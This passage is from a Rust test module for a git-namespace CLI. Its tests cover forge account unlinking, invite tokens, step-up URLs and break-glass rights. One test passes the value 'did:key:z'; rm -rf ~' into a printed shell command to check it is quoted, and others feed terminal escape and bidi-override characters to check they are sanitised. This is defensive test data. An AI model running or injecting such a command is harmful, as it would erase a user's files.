assert!(account_lines(&json!([])).is_empty());
}
#[test]
fn unlink_names_the_account_linked_on_that_forge() {
let accounts = json!([
{ "account": { "forge": "codeberg.org", "id": "77", "login": "bob-cb" }, "linkedAt": "x" },
{ "account": { "forge": "github.com", "id": "9120045", "login": "bob-builds" }, "linkedAt": "x" },
]);
assert_eq!(
linked_account_id(&accounts, "github.com").as_deref(),
Some("9120045")
);
assert_eq!(linked_account_id(&accounts, "gitlab.com"), None);
assert_eq!(linked_account_id(&json!([]), "github.com"), None);
let line = unlink_line(
&json!({
"unlinked": { "forge": "github.com", "id": "9120045", "login": "bob\u{202E}evil" },
"unlinkedAt": "2026-09-25T09:30:01Z",
}),
"did:key:z",
);
assert!(
line.contains("9120045") && line.contains("bob?evil"),
"{line}"
);
let g = guidance("git-ns/account/unlink:notLinked", "no account", "did:key:z");
assert!(g.contains("git link --list"), "{g}");
}
#[test]
fn link_refusals_name_the_fix() {
let g = guidance(
"git-ns/account/link:unsupportedForge",
"this VTC has no bridge-mode namespace on gitlab.com to complete a link",
"did:key:z",
);
assert!(g.contains("git namespace list"), "{g}");
let g = guidance(
"permissionDenied",
"linking a forge account is for members of this community",
"did:key:z",
);
assert!(g.contains("not one here") && !g.contains("git view"), "{g}");
let g = guidance(
"git-ns/account/link-status:unknownLink",
"no link",
"did:key:z",
);
assert!(g.contains("git link --forge"), "{g}");
}
#[test]
fn an_answer_code_is_the_assertion_the_browser_made() {
let a = assertion_from_answer_code("sua1.cmF3.YXV0aA.Y2Rq.c2ln.dXNlcg").unwrap();
assert_eq!(a["id"], "cmF3");
assert_eq!(a["rawId"], "cmF3");
assert_eq!(a["type"], "public-key");
assert_eq!(a["response"]["authenticatorData"], "YXV0aA");
assert_eq!(a["response"]["clientDataJSON"], "Y2Rq");
assert_eq!(a["response"]["signature"], "c2ln");
assert_eq!(a["response"]["userHandle"], "dXNlcg");
let no_handle = assertion_from_answer_code("sua1.cmF3.YXV0aA.Y2Rq.c2ln").unwrap();
assert!(no_handle["response"].get("userHandle").is_none());
for bad in [
"cmF3.YXV0aA.Y2Rq.c2ln",
"sua1.cmF3.YXV0aA.Y2Rq",
"sua1.cmF3..Y2Rq.c2ln",
"sua1.cmF3.YXV0aA.Y2Rq.c2ln.dXNlcg.more",
"sua1.cm F3.YXV0aA.Y2Rq.c2ln",
] {
assert!(assertion_from_answer_code(bad).is_err(), "{bad}");
}
}
#[test]
fn an_invite_is_read_from_its_link_or_its_token() {
let token = "sup_AAAAAAAAAAAAAAAAAAAAAAAAAAAA";
assert_eq!(
invite_token(&format!(
"https://vtc.example/admin/enrol-step-up#token={token}"
))
.unwrap(),
token
);
assert_eq!(invite_token(&format!(" {token} ")).unwrap(), token);
assert!(invite_token("https://vtc.example/admin/enrol-step-up#token=").is_err());
assert!(invite_token("sup_short").is_err());
assert!(invite_token("sup_AAAAAAAAAAAAAAAA\u{1b}[2J").is_err());
let url = enrol_url("https://vtc.example/", &json!({ "enrollmentId": "e" }));
assert!(
url.starts_with("https://vtc.example/admin/enrol-step-up#enrollment="),
"{url}"
);
}
#[test]
fn the_step_up_link_carries_the_request_as_unpadded_base64url() {
assert_eq!(base64url(b"hi"), "aGk");
assert_eq!(base64url(b"\xff\xfe\xfd"), "__79");
assert_eq!(base64url(b"abcd"), "YWJjZA");
let url = step_up_url("https://vtc.example/", &json!({ "challenge": "c" }));
assert!(
url.starts_with("https://vtc.example/admin/step-up#request="),
"{url}"
);
assert!(
!url.split("request=").nth(1).unwrap().contains('='),
"{url}"
);
}
#[test]
fn console_links_are_built_on_the_origin_not_the_api_base() {
for (base, origin) in [
("https://vtc.example/v1", "https://vtc.example"),
("https://vtc.example/v1/", "https://vtc.example"),
(
"https://vtc.example:8443/api/v2",
"https://vtc.example:8443",
),
] {
let url = step_up_url(base, &json!({ "challenge": "c" }));
assert!(
url.starts_with(&format!("{origin}/admin/step-up#request=")),
"{base} -> {url}"
);
let url = enrol_url(base, &json!({ "enrollmentId": "e" }));
assert!(
url.starts_with(&format!("{origin}/admin/enrol-step-up#enrollment=")),
"{base} -> {url}"
);
}
assert_eq!(
console_url("https://vtc.example/v1?x=1#f", "step-up"),
"https://vtc.example/admin/step-up"
);
assert_eq!(
console_url("vtc.example/v1", "step-up"),
"vtc.example/v1/admin/step-up"
);
}
#[test]
fn the_printed_ratify_command_is_shell_safe() {
let record = json!({
"subject": "did:key:z6MkAbc",
"right": "git.repo.own",
"resource": "github.com/acme/widgets",
"breakGlass": { "at": "2026-09-25T02:10:31Z" },
});
let cmd = ratify_command(&record);
assert!(
cmd.contains("git ratify --subject=did:key:z6MkAbc --right=git.repo.own"),
"{cmd}"
);
assert!(
cmd.ends_with("--break-glass-at=2026-09-25T02:10:31Z"),
"{cmd}"
);
let evil = json!({ "subject": "did:key:z'; rm -rf ~", "right": "git.repo.own", "resource": "x", "breakGlass": { "at": "t" } });
assert!(ratify_command(&evil).contains("'did:key:z'\"'\"'; rm -rf ~'"));
}
#[test]
fn a_not_administrator_refusal_says_who_the_listings_answer() {
for code in [
"git-ns/view:notAdministrator",
"git-ns/namespace/list:notAdministrator",
"git-ns/repo/list:notAdministrator",
] {
let g = guidance(code, "you administer none", "did:key:z");
assert!(g.contains("community administrator"), "{code}: {g}");
assert!(g.contains("git view"), "{code}: {g}");
}
}
#[test]
fn break_glass_items_carry_state_and_namespace_unratified_first() {
let now = chrono::DateTime::parse_from_rfc3339("2026-09-26T12:00:00Z")
.unwrap()
.with_timezone(&chrono::Utc);
let view = json!({
"namespaces": [{ "id": "ns_1", "forge": "github.com", "owner": "acme",
"mode": "manual", "state": "bound" }],
"repos": [],
"rights": [
{ "subject": "did:key:za", "right": "git.repo.own",
"resource": "github.com/acme/widgets", "grantedBy": "did:key:za",
"grantedAt": "2026-09-20T00:00:00Z",
"breakGlass": { "by": "did:key:za", "at": "2026-09-20T00:00:00Z",
"justification": "old", "ratifiedBy": "did:key:zb",
"ratifiedAt": "2026-09-21T00:00:00Z" } },
{ "subject": "did:key:zc", "right": "git.ns.admin",
"resource": "github.com/acme", "grantedBy": "did:key:zc",
"grantedAt": "2026-09-25T00:00:00Z",
"breakGlass": { "by": "did:key:zc", "at": "2026-09-25T00:00:00Z",
"justification": "now" } },
{ "subject": "did:key:zd", "right": "git.repo.create",
"resource": "github.com/acme", "grantedBy": "did:key:zd",
"grantedAt": "2026-09-26T11:00:00Z",
"breakGlass": { "by": "did:key:zd", "at": "2026-09-26T11:00:00Z",
"justification": "later",
"effectiveAt": "2026-09-27T11:00:00Z" } },
{ "subject": "did:key:ze", "right": "git.commit.sign",
"resource": "github.com/acme/widgets", "grantedBy": "did:key:za",
"grantedAt": "2026-09-20T00:00:00Z" }
],
"accounts": []
});
let items = break_glass_items(&view, now);
let states: Vec<&str> = items.iter().map(|i| i["state"].as_str().unwrap()).collect();
assert_eq!(states, ["pending", "unratified", "ratified"]);
assert!(items.iter().all(|i| i["namespace"] == "ns_1"));
}
#[test]
fn right_arguments_carry_the_wire_spelling() {
assert_eq!(RightArg::CommitSign.as_str(), "git.commit.sign");
assert_eq!(RightArg::NsAdmin.as_str(), "git.ns.admin");
}
}